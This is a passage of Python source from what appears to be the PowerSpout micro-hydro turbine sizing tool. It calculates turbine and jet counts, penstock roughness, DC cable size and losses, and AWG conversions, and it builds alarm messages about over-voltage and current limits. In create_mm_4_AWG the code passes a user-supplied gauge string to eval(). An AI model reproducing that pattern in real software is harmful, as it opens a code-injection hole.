\" + str(x1) + \" y1 \" + str(y1) + \" x2 \" + str(x2) + \" y2 \" + str(y2) + siteGUI.GUI_diag_cr\r\n\r\n # print( site.lps, x1, x2, y1, y2)\r\n site.PSeff *= (site.lps - x1) / (x2 - x1) * (y2 - y1) + y1 # Straight line interpolate between Xn,Yn points\r\n # print ( site.lpseff )\r\n # print( site.PSeff )\r\n\r\n site.SD_eff = site.PSeff ** 0.5\r\n site.turbine_eff = site.SD_eff\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Rectifier loss correction Vgen check. Vgen = \" + str(\r\n site.cable_Vgen) + siteGUI.GUI_diag_cr\r\n if (site.cable_Vgen == 0):\r\n site.cable_Vgen = site.cable_voltage / site.cable_eff_target\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Rectifier loss correction found 0V Vgen. Made Vgen = \" + str(\r\n site.cable_Vgen) + siteGUI.GUI_diag_cr\r\n site.Actual_turbine_electric_pwr = site.jetpower * site.turbine_eff * site.SD_eff * site.cable_Vgen / (\r\n site.cable_Vgen + site.rectifierVdrop)\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \" PS efficiency = \" + str(site.PSeff) + \" component \" + str(site.SD_eff) + \" PS W \" + str(site.Actual_turbine_electric_pwr) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n return ()\r\n\r\n\r\ndef Cal_PS4maxW(): # This is the routine to figure out the number of PS and jets for max output power\r\n if (site.eff_head <= 0):\r\n site.eff_head = 0\r\n site.Actual_turbine_electric_pwr = 0\r\n site.cable_A = 0\r\n site.Load_pwr = 0\r\n site.cable_Vgen = 0\r\n site.jetpower = 0\r\n site.Num_PS = 1\r\n site.SD_eff = 0\r\n if (site.PStype[:3] == 'TRG'):\r\n site.turbine_nozzles = 4\r\n if (site.PStype[:3] == 'PLT'):\r\n site.turbine_nozzles = 2\r\n\r\n else:\r\n # Have water power at turbine shaft. Consider how many turbines required based on water volume (jet size) and power to operating rpm ratio\r\n if (site.PStype[:3] == 'TRG'):\r\n site.turbine_nozzles = 4 # Default to 4 nozzles as is best practice\r\n\r\n avail_jet_sqr_mm2use_per_TRG = site.dis_coeff * site.turbine_nozzles * (site.Two_jet_dia_lim / 2) * (\r\n site.Two_jet_dia_lim / 2) * pi # jet size limit in square mm\r\n\r\n # Figure out jet velocity for this effective head and jet square mm with jet dia\r\n site.Vjet = sqrt(2 * site.gravity * site.eff_head)\r\n site.ideal_jet_sqr_mm = site.lps / site.mmm_lps / site.Vjet\r\n TRGs_4_vol = int(0.9999 + site.ideal_jet_sqr_mm / avail_jet_sqr_mm2use_per_TRG)\r\n\r\n site.rpm = site.turbine_spd_jet * 60 * site.Vjet / (pi * site.turbine_dia)\r\n TRGs_4_head = int(0.9999 + site.jetpower / (site.pelton_Wuse_rpm * site.rpm))\r\n\r\n site.Num_PS = max(TRGs_4_vol, TRGs_4_head)\r\n\r\n\r\n\r\n else: # must be a PLT or older BE, ME, GE variant. Consider how many turbines required based on water watts and operating rpm\r\n if (siteGUI.GUI_Num_PS_Lkd == 0):\r\n site.Num_PS = int(\r\n site.jetpower / site.rpm / site.pelton_Wuse_rpm) + 1 # Can use only ~1.42W/rpm so need many turbines for much water\r\n\r\n if (site.jetpower / site.Num_PS > site.One_jet_water_W_lim):\r\n site.turbine_nozzles = 2\r\n\r\n if (site.jet_dia > site.One_jet_dia_lim):\r\n site.turbine_nozzles = 2\r\n\r\n # Also check jet size as need to not exceed max jet size limit. Applies to very low head installs\r\n jetlimitednum = int(\r\n site.ideal_jet_sqr_mm / ((site.Two_jet_dia_lim / 2) * (site.Two_jet_dia_lim / 2) * pi * 2) + 1)\r\n\r\n if (jetlimitednum > site.Num_PS):\r\n site.Num_PS = jetlimitednum\r\n site.turbine_nozzles = 2\r\n\r\n if (site.Num_PS > site.MaxPS):\r\n site.Num_PS = site.MaxPS\r\n if (site.Num_PS < 1):\r\n site.Num_PS = 1\r\n\r\n return ()\r\n\r\n\r\ndef calc_penstock_material(): # Convert penstock material into a roughness factor\r\n if site.penstock_material == 'DrawnTube':\r\n site.penstock_flow_roughness = 0.00015 # in cm.\r\n if site.penstock_material == 'GeneralSteel':\r\n site.penstock_flow_roughness = 0.00457 # in cm.\r\n if site.penstock_material == 'AsphaltedIron':\r\n site.penstock_flow_roughness = 0.01219 # in cm.\r\n if site.penstock_material == 'GalvSteel':\r\n site.penstock_flow_roughness = 0.01524 # in cm.\r\n if site.penstock_material == 'CastSteel':\r\n site.penstock_flow_roughness = 0.02540 # in cm.\r\n if site.penstock_material == 'Wood':\r\n site.penstock_flow_roughness = 0.09 # in cm.\r\n if site.penstock_material == 'Concrete':\r\n site.penstock_flow_roughness = 0.9 # in cm.\r\n if site.penstock_material == 'RivetedSteel':\r\n site.penstock_flow_roughness = 0.9 # in cm.\r\n\r\n # DrawnTube 0.00015 Drawn tubing (PVC, HTPE (poly), brass, etc.)\r\n # GeneralSteel 0.00457 Commercial steel or wrought iron\r\n # AsphaltedIron 0.01219 Asphalted cast iron\r\n # GalvSteel 0.01524 Galvanized iron\r\n # CastSteel 0.02540\t Cast iron\r\n # Wood 0.018-0.09 Wood stave\r\n # Concrete 0.03-0.3 Concrete\r\n # RivetedSteel 0.09-0.9 Riveted steel\r\n\r\n return ()\r\n\r\n\r\ndef CalcCable(\r\n *args): # Calculate the cable loss. Includes min conductor size for amps check and adjustments to water flow if there are cable power limitations\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Entering CalcCable' + siteGUI.GUI_diag_cr\r\n if (site.eff_head <= 0):\r\n site.cable_voltage = 0\r\n site.cable_A = 0\r\n site.Actual_turbine_electric_pwr = 0.001\r\n site.Load_pwr = 0\r\n site.cable_Vgen = 0\r\n else:\r\n site.amplimCount = 0\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"And the cable lock is..... \" + str(site.cableLock) + ' HTTP.PY says ' + str(siteGUI.GUI_LockCable) + siteGUI.GUI_diag_cr\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"And the cable size is..... \" + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n\r\n if (int(site.cableLock) == int(\r\n 0)): # If no user lock on cable size then go pick a cable size for the target cable loss\r\n calc_cable_size()\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"And the cable size is..... \" + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n\r\n calc_wire_loss() # Find loss in the current given cable size. Increases Vgen to use the PS output W. Gives resultant load watts. Ignores over volts\r\n\r\n if (((siteGUI.GUI_PStype[0:2] == 'ME') or (siteGUI.GUI_PStype[0:2] == 'GE')) and (\r\n site.cable_Vgen > site.Vlimit[siteGUI.GUI_PStype])):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Working out operating voltages for GE and ME types..... \" + siteGUI.GUI_diag_cr\r\n VClampVOadj()\r\n if (site.cable_voltage < (\r\n site.Vlimit[siteGUI.GUI_PStype] / 2)): # Check if are cable limited for power transfer\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Doing cable power transfer limited water flow reduction for GE and ME types..... \" + siteGUI.GUI_diag_cr\r\n cable_limitedPwr() # As cable limited then need to reduce water flow to match transferrable power\r\n\r\n if ((siteGUI.GUI_PStype[0:2] == 'BE') and (site.cable_Vgen > site.Vlimit[siteGUI.GUI_PStype])):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Doing V gen max voltage limited water flow reduction for BE types..... \" + siteGUI.GUI_diag_cr\r\n cable_limitedPwr() # As cable limited then need to reduce water flow to match transferrable power\r\n\r\n site.cable_amp_spec = cable_amps_rate(site.cable_size)\r\n\r\n if (site.cable_amp_spec / site.cable_A < 1.5):\r\n site.alarms.append(\r\n 54) # Cable size within 50% of likely current rating. Please check with your cable supplier for suitability. Amps temp rise etc\r\n\r\n if (site.cable_amp_spec < site.cable_A):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Need a bigger cable for this number of amps \" + siteGUI.GUI_diag_cr\r\n MinCable4Amps() # Need to choose bigger cable. Rating for this cable just \" + str(site.cable_amp_spec) )\r\n\r\n if (site.cable_A / site.Num_PS > 50.0):\r\n site.alarms.append(60) # Excess high current warning\r\n else:\r\n if (site.cable_A / site.Num_PS > 32.0):\r\n site.alarms.append(59) # High current upgrade required\r\n\r\n\r\ndef VClampVOadj(): # Reduces site.cable_voltage to bring Vgen down to site.Vlimit[ siteGUI.GUI_PStype ] as needed for ME and GE units\r\n while (abs(site.cable_Vgen / site.Vlimit[\r\n siteGUI.GUI_PStype] - 1) > 0.0001): # This walks the load voltage down for ME and GE generators\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"VCvocAdj site.cable_voltage = \" + str(site.cable_voltage) + \" \" + str(site.cable_Vgen) + \" limit is=>\" + str(site.Vlimit[ siteGUI.GUI_PStype ]) + \" \" + str(site.cable_Vgen - site.Vlimit[ siteGUI.GUI_PStype ]) + siteGUI.GUI_diag_cr\r\n site.cable_voltage = site.cable_voltage - (site.cable_Vgen - site.Vlimit[siteGUI.GUI_PStype]) / 2\r\n calc_wire_loss()\r\n if (site.cable_voltage < (\r\n site.Vlimit[siteGUI.GUI_PStype] / 2)): # Check if are cable limited for power transfer\r\n break\r\n site.amplimCount = site.amplimCount + 1\r\n if (site.amplimCount > 100):\r\n break\r\n\r\n\r\ndef cable_limitedPwr(): # Reduce water flow to stay under cable's power transfer limit, load voltage and max PowerSpout output voltage\r\n # Figure out how much power can be transferred.\r\n # Then figure the total PS power and reduce water flow to suit.\r\n # Then rerun PowerSpout() to check\r\n # Cable return loop resistance is in site.cableR\r\n # Supply voltage is in site.Vlimit[ siteGUI.GUI_PStype ]\r\n # Load voltage is either site.Vlimit[ siteGUI.GUI_PStype ] / 2 for GE and ME or site.design_cable_voltage for BE\r\n\r\n if ((siteGUI.GUI_PStype[0:2] == 'ME') or (siteGUI.GUI_PStype[0:2] == 'GE')):\r\n loadvoltage = site.Vlimit[siteGUI.GUI_PStype] / 2\r\n site.alarms.append(\r\n 55) # Tell user that the water flow is reduced to prevent continious operation of over voltage protection circuitry\r\n else: # Have a BE\r\n loadvoltage = site.design_cable_voltage\r\n site.alarms.append(\r\n 56) # Tell user that the water flow is reduced to prevent over voltage damage of the PowerSpout\r\n site.cable_voltage = loadvoltage\r\n powertarget = ((site.Vlimit[siteGUI.GUI_PStype] - loadvoltage) / site.cableR) * site.Vlimit[\r\n siteGUI.GUI_PStype] # This many watts at the PowerSpout is all that can be taken.\r\n\r\n while (abs(site.Actual_turbine_electric_pwr - powertarget) > 1):\r\n site.lps = site.lps * powertarget / site.Actual_turbine_electric_pwr\r\n PowerSpout_calc()\r\n\r\n calc_wire_loss()\r\n\r\n\r\ndef calc_wire_loss(): # Find loss in given cable size. Increases Vgen to use the PS output W. Gives resultant load watts. Ignores over volts\r\n # Use site.cable_size, site.material[ site.cable_material ] defined from site.cable_material, and site.cable_len\r\n # to calculate the return trip ohms in the DC cable. Put in site.cableR\r\n site.cableR = float(site.material[site.cable_material] * float(1e6) / site.cable_size * site.cable_len * float(2))\r\n site.cable_Vgen = float((site.cable_voltage + sqrt(\r\n site.cable_voltage * site.cable_voltage + float(4) * site.Actual_turbine_electric_pwr * site.cableR)) / float(\r\n 2))\r\n\r\n # Update turbine power to account for rectifier losses at this Vgen and then recalc Vgen for this reduced power\r\n site.Actual_turbine_electric_pwr = site.jetpower * site.turbine_eff * site.SD_eff * site.cable_Vgen / (\r\n site.cable_Vgen + site.rectifierVdrop)\r\n site.cable_Vgen = float((site.cable_voltage + sqrt(\r\n site.cable_voltage * site.cable_voltage + float(4) * site.Actual_turbine_electric_pwr * site.cableR)) / float(\r\n 2))\r\n\r\n site.cable_Vdrop = site.cable_Vgen - site.cable_voltage\r\n site.cable_A = site.cable_Vdrop / site.cableR\r\n site.Load_pwr = float(site.cable_A * site.cable_voltage)\r\n\r\n\r\ndef calc_cable_size(): # Find cable size for given cable effeciency\r\n # Using electric power data. Use these to compute cable size for this site for target power loss.\r\n # Have source power level in site.Actual_turbine_electric_pwr\r\n # Have target operating load voltage in site.design_cable_voltage\r\n # Have operating load voltage in site.cable_voltage\r\n # Have cable length in site.cable_len\r\n # Have target cable effeciency in site.cable_eff_target\r\n # Have cable material in site.cable_material. Either Copper, Aluminium or Steel\r\n # Cable material ohm/m/m site.material[ site.cable_material ]\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Arrived at calc_cable_size ' + str(site.cable_size)\r\n site.Load_pwr = site.cable_eff_target * site.Actual_turbine_electric_pwr # Power to load\r\n site.cable_A = site.Load_pwr / (\r\n site.rectifierVdrop + site.cable_voltage) * site.cable_eff_target # amps in cable. Note the 1V rectifier loss allowance in last term\r\n site.cable_Vdrop = site.cable_voltage / (\r\n 1 / (1 - site.cable_eff_target)) # total volts lost accross cable in both directions\r\n site.cableR_req = site.cable_Vdrop / site.cable_A / site.cable_len / 2 # Cable resistance in ohm/m for each direction\r\n site.cable_size = site.material[site.cable_material] * 1e6 / site.cableR_req # Sqr mm needed\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' ....Leaving calc_cable_size ' + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n createAWG()\r\n\r\n\r\ndef cable_amps_rate(smm): # Convert cable square mm into a nominal amps rating\r\n site.itteratorCount = site.itteratorCount + 1\r\n amp_limit1 = smm * 10\r\n amp_limit2 = smm * 10 * pow(smm, 0.74)\r\n if (amp_limit1 > amp_limit2):\r\n return (amp_limit2)\r\n else:\r\n return (amp_limit1)\r\n\r\n\r\ndef MinCable4Amps(): # Choose cable based on amps carrying ability. Rating for this cable just \" + str(site.cable_amp_spec) )\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"Choosing min cable size for this number of amps. Was \" + str(site.cable_size) + ' and now is '\r\n while (1):\r\n temp_holder = site.cable_size\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n site.cable_size = cable_smm4amps(site.cable_A)\r\n if (abs(temp_holder / site.cable_size - 1) < 0.001):\r\n break\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n createAWG()\r\n\r\n\r\ndef cable_smm4amps(amps): # Determine sqr mm cable needed for given current\r\n smm = 2\r\n amps_rating = cable_amps_rate(smm)\r\n while (1):\r\n site.itteratorCount = site.itteratorCount + 1\r\n smm_slope = cable_amps_rate(smm + 0.01) - amps_rating\r\n smm = smm + (amps - amps_rating) / smm_slope / float(100)\r\n amps_rating = cable_amps_rate(smm)\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"amps \" + str(amps) + \" Sqr mm\" + str(smm) + \" & rating\" + str(amps_rating) + \" at slope of \" +str(smm_slope) + siteGUI.GUI_diag_cr\r\n if (abs(amps_rating / amps - 1) < 0.001):\r\n break\r\n return (smm)\r\n\r\n\r\ndef createAWG(): # Convert sqr mm into next size up AWG\r\n cable_gauge_tmp = -39 * log(2 * sqrt(site.cable_size * 0.99 / pi) / 0.127, 92) + 36\r\n if cable_gauge_tmp < 0:\r\n cable_gauge_tmp = -int(cable_gauge_tmp - 1)\r\n string = \"\"\r\n site.cable_gauge = string.zfill(cable_gauge_tmp + 1)\r\n else:\r\n site.cable_gauge = str(int(cable_gauge_tmp))\r\n\r\n\r\ndef create_mm_4_AWG(AWG): # Convert AWG into sqr mm\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Arrived at create_mm_4_AWG ' + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n temp = AWG\r\n temp2 = site.cable_size\r\n try:\r\n if (eval(AWG) == 0):\r\n site.cable_AWGn = -AWG.count(\"0\") + 1\r\n else:\r\n site.cable_AWGn = eval(AWG)\r\n\r\n if (site.cable_AWGn > 20):\r\n site.cable_AWGn = 20\r\n if (site.cable_AWGn < -6):\r\n site.cable_AWGn = -6\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + str(pi * pow(0.127/2 * pow(92, (36-site.cable_AWGn) / 39 ) ,2)) + siteGUI.GUI_diag_cr\r\n site.cable_size = pi * pow(float(0.127 / 2) * pow(92, float(36 - site.cable_AWGn) / 39), 2)\r\n except:\r\n AWG = temp\r\n site.cable_size = temp2\r\n\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + ' Leaving create_mm_4_AWG ' + str(site.cable_size) + siteGUI.GUI_diag_cr\r\n return () # Result is an updated site.cable_size\r\n\r\n\r\ndef reportAll(): # Report all results to user gui. This is the only place where gui values get updated for the user to see\r\n # Check are if AWG mode and round up as needed\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"And the cable is AWG or mm ..... \" + siteGUI.GUI_cable_mm_AWG + siteGUI.GUI_diag_cr\r\n if (siteGUI.GUI_cable_mm_AWG == 'AWG'):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + \"A....Yep. Detected AWG mode..... \" + siteGUI.GUI_diag_cr\r\n createAWG()\r\n create_mm_4_AWG(site.cable_gauge)\r\n CalcCable() # And redo loss calculation with mm^2 based on AWG\r\n\r\n site.lastcable_mm_AWG = 'AWG'\r\n\r\n # Check are if mm mode and round as needed\r\n if (siteGUI.GUI_cable_mm_AWG == 'mm'):\r\n if (site.lastcable_mm_AWG == 'AWG' and site.cable_size * 10 > int(\r\n site.cable_size * 10)): # Round up if above a whole number\r\n site.cable_size = round(site.cable_size, 1)\r\n if (site.lastcable_mm_AWG == 'mm'): # Round up if above a whole number\r\n site.cable_size = round(site.cable_size, 1)\r\n\r\n CalcCable() # And redo loss calculation with rounded mm^2\r\n createAWG()\r\n\r\n site.lastcable_mm_AWG = 'mm'\r\n\r\n if ((siteGUI.GUI_PStype[0:2] == 'BE') and (site.cable_Vgen * site.OC_Vratio > site.BE_damageV) and (\r\n site.Load_pwr / site.Actual_turbine_electric_pwr < 0.5)): # Open circuit damage risk on BE at low cable efficiency\r\n site.alarms.append(51)\r\n else:\r\n if ((siteGUI.GUI_PStype[0:2] == 'BE') and (\r\n site.cable_Vgen * site.OC_Vratio > site.BE_damageV)): # Open circuit damage risk on BE\r\n site.alarms.append(52)\r\n\r\n if ((siteGUI.GUI_PStype[0:3] == 'PLT') and (site.cable_Vgen * site.PLT_OC_Vratio > site.PLT_damageV)):\r\n site.alarms.append(53)\r\n\r\n if ((siteGUI.GUI_PStype[0:2] == 'BE') and (site.cable_Vgen > site.ELV_limit)):\r\n site.alarms.append(81)\r\n\r\n if ((siteGUI.GUI_PStype[0:2] == 'BE') and (site.cable_Vgen * site.OC_Vratio > site.ELV_limit)):\r\n site.alarms.append(82)\r\n\r\n if (site.cable_material == 'Steel'):\r\n site.alarms.append(58)\r\n\r\n if (site.PStype[:3] == 'TRG'):\r\n if (site.eff_head > 30):\r\n site.alarms.append(19)\r\n else:\r\n if (site.eff_head > 130):\r\n site.alarms.append(19)\r\n\r\n put_lps()\r\n put_lpsused()\r\n put_head()\r\n put_OprHead()\r\n put_PenLen()\r\n put_PenEffTarget()\r\n put_PenDia()\r\n put_Num_PS()\r\n put_JetDia()\r\n put_ActPenEff()\r\n put_OprRPM()\r\n put_eaPS_W()\r\n put_allPS_W()\r\n put_cableEff_targ()\r\n put_CableLen()\r\n put_DesLdV()\r\n put_ActLdV()\r\n put_CableSize()\r\n put_CableAWG()\r\n put_CableDetails()\r\n\r\n if (site.PStype[:3] == 'TRG') and (site.lps < 8):\r\n site.alarms.append(14)\r\n\r\n # Create alarm string for hydro issues\r\n # example of list is..... alarms = [ 10, 12, 20]\r\n if (site.PStype[:3] == 'TRG' or site.PStype[\r\n :3] == 'PLT'): # These are the current alarms as defined for the current TRG and PLT PowerSpouts\r\n siteGUI.GUI_design_notes_hydro = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(10, 19 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 10): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Penstock loss calculations failed.' + siteGUI.GUIcr + 'Please email a copy of this screen to EcoInnovation. Sorry. This should not have happened and we want to fix this.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 11): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the pipe size limits maximum power.' \\\r\n + siteGUI.GUIcr + 'Choose a larger pipe for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (site.PStype[:3] == 'TRG'):\r\n if (alm == 12): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the maximum jet size is in use.' \\\r\n + siteGUI.GUIcr + 'Use more \\'jets per PowerSpout\\' or more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n else:\r\n if (alm == 12): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the maximum jet size is in use.' \\\r\n + siteGUI.GUIcr + 'Use 2 \\'jets per PowerSpout\\' or more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 13): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the maximum jet size is in use.' \\\r\n + siteGUI.GUIcr + 'Use more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 14): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'PLT turbine should be used for lower flow sites' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 15): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the output is limited by the amount of water each PowerSpout can use at this operating head.' \\\r\n + siteGUI.GUIcr + 'Use more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 17): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'No load speed is ' + str(int(\r\n site.runaway_rpm)) + 'rpm!!! Contact your supplier (and read the manual) on regulation methods that can be ' \\\r\n + 'employed to prevent turbine runaway.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (site.PStype[:3] == 'TRG'):\r\n if (alm == 18): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much power for reliable, warrantable operation without more jets in use. Note: All TRGs are sold with 4 jets fitted!' \\\r\n + siteGUI.GUIcr + 'Please select more jets per PowerSpout, or more PowerSpouts, or reduce water flow and/or head, or buy additional replacement bearings.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n else:\r\n if (alm == 18): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much power for reliable, warrantable single jet operation. Note: All PLTs are sold with 2 jets fitted!' \\\r\n + siteGUI.GUIcr + 'Please select 2 jets per PowerSpout, or more PowerSpouts, or reduce water flow and/or head, or buy additional replacement bearings.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (site.PStype[:3] == 'TRG'):\r\n if (alm == 19): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much water pressure for reliable, warrantable operation. 30m (98ft) is the maximum operating head.' \\\r\n + siteGUI.GUIcr + 'Use a smaller penstock size to reduce the operating head. Smaller pipe is also cheaper.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n else:\r\n if (alm == 19): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much water pressure for reliable, warrantable operation. 130m (427ft) is the maximum operating head.' \\\r\n + siteGUI.GUIcr + 'Use a smaller penstock size to reduce the operating head. Smaller pipe is also cheaper.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n break\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_design_notes_elec = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(51, 60 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 51): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Operation of PowerSpout on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio)) + \\\r\n 'V at the terminals and risks internal unwarrantable damage.' \\\r\n + siteGUI.GUIcr + 'Reducing cable loss may avoid this risk, or select either a ME, GE PowerSpout, or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 52): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Operation of PowerSpout on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio)) + \\\r\n 'V at the terminals and risks internal unwarrantable damage.' \\\r\n + siteGUI.GUIcr + 'Please ensure your site never operates without load. Or has a protection device fitted.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 53): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Operation of PowerSpout PLT on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio)) + \\\r\n 'V at the terminals and exceeds the Extra Low Voltage (ELV) limits for non electrical workers to maintain. ' \\\r\n + siteGUI.GUIcr + 'In Australasia the ELV limit is 120 VDC, in most other parts of the world the ELV limit is 75 VDC. Hire a registered ' + \\\r\n 'electrical worker if your system is not ELV and ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 54): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Cable size is within 50% of likely current rating. Cable loss calculations are based on 20 deg C (68 deg F) conductor temperature.' \\\r\n + siteGUI.GUIcr + 'Please check with your cable supplier for suitability for current handling, temperature rise and loss at this current.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 55): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Water flow reduced to prevent continuous operation of over voltage protection circuitry.' \\\r\n + siteGUI.GUIcr + 'Either use a larger cable, or a shorter cable or accept less power' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 56): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Water flow reduced to prevent over voltage damage to PowerSpout.' \\\r\n + siteGUI.GUIcr + 'Either use a larger cable, a shorter cable or accept less power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 57): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Minimum cable size for amps is in use. Rating for this cable just ' + str(\r\n round(site.cable_amp_spec, 1)) + ' A' + siteGUI.GUIcr + siteGUI.GUIcr # Not used. See line 563\r\n\r\n if (alm == 58): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Steel wire is not all created equal and can have a wide range of loss. Calculations are based on common high tensile steel.' \\\r\n + siteGUI.GUIcr + 'Please check wih your supplier for the actual resistance of your wire' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 59): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Turbine amps are ' + str(\r\n round(site.cable_A / site.Num_PS, 1)) + \\\r\n 'A, this exceeds the standard current rating of 32 amps. An upgrade to 50 amps rating is available for an extra charge. ' \\\r\n + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 60): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Turbine amps are ' + str(\r\n round(site.cable_A / site.Num_PS, 1)) + \\\r\n 'A, Turbines >50 amp are not permitted. Lift your load voltage and reduce input flow to keep under 50 amp load current.' \\\r\n + siteGUI.GUIcr + siteGUI.GUIcr\r\n break\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_design_notes_safety = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(81, 82 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 81): siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + \\\r\n 'Operation of PowerSpout on this site under load will result in ' + str(\r\n int(site.cable_Vgen + 0.5)) + \\\r\n 'V at the terminals and exceeds the Extra Low Voltage limits for non electrical workers to maintain.' \\\r\n + siteGUI.GUIcr + 'Please either select a ME series PowerSpout, or increase cable size, or reduce cable length to reduce terminal voltage, or hire a registered electrical worker.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 82): siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + \\\r\n 'Operation of PowerSpout BE on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio + 0.5)) + \\\r\n 'V at the terminals and exceeds the Extra Low Voltage limits for non electrical workers to maintain.' \\\r\n + siteGUI.GUIcr + 'Please either hire a registered electrical worker, or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n break\r\n\r\n rounds = {}\r\n values = {}\r\n\r\n values['-2a'] = site.cable_voltage * 0.8\r\n rounds['-2a'] = -len(str(int(values['-2a']))) + 3\r\n values['-2b'] = site.Load_pwr * 0.25\r\n rounds['-2b'] = -len(str(int(values['-2b']))) + 